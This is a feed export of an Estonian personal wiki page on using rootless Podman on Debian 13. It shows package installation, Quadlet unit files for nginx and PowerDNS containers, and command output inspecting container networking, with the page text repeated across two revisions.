root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Selleks, et ühe ja sama podhost peal töötavad pod'id omavahel saaksid üle võrgu suhelda sobib kasutada sellist asjakorraldust, ühe pod systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=8081:8081/tcp&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
# Environment=PDNS_local_port=8053&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
teise systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/nginx-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 01&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8091:80&lt;br /&gt;
ContainerName=nginx-01&lt;br /&gt;
Volume=%h/volume/nginx/etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
võrgu unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/dns-net.network&lt;br /&gt;
[Network]&lt;br /&gt;
NetworkName=dns-net&lt;br /&gt;
Options=dns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad podhost peale sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# netstat -lnpt | grep rootle&lt;br /&gt;
tcp6       0      0 :::8081                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
tcp6       0      0 :::8091                 :::*                    LISTEN      63627/rootlessport&lt;br /&gt;
tcp6       0      0 :::1053                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures nad on erinevad namespace'id&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# lsns -T | grep rootlessport&lt;br /&gt;
│ ├─4026532532 net         4 63597 kasutaja        rootlessport&lt;br /&gt;
│ ├─4026532647 net         5 63627 kasutaja        rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nende sees on sellised võrguliidesed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if4: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether ce:90:e6:c1:2e:42 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.5/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::cc90:e6ff:fec1:2e42/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if5: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether 7e:9d:11:fa:3b:24 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.6/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::7c9d:11ff:fefa:3b24/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja arp tabelid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n arp -an&lt;br /&gt;
? (10.89.0.6) at 7e:9d:11:fa:3b:24 [ether] on eth0&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n arp -an&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
? (10.89.0.5) at ce:90:e6:c1:2e:42 [ether] on eth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4229</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4229"/>
		<updated>2026-06-15T21:44:27Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* podhost podide vaheline võrk */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
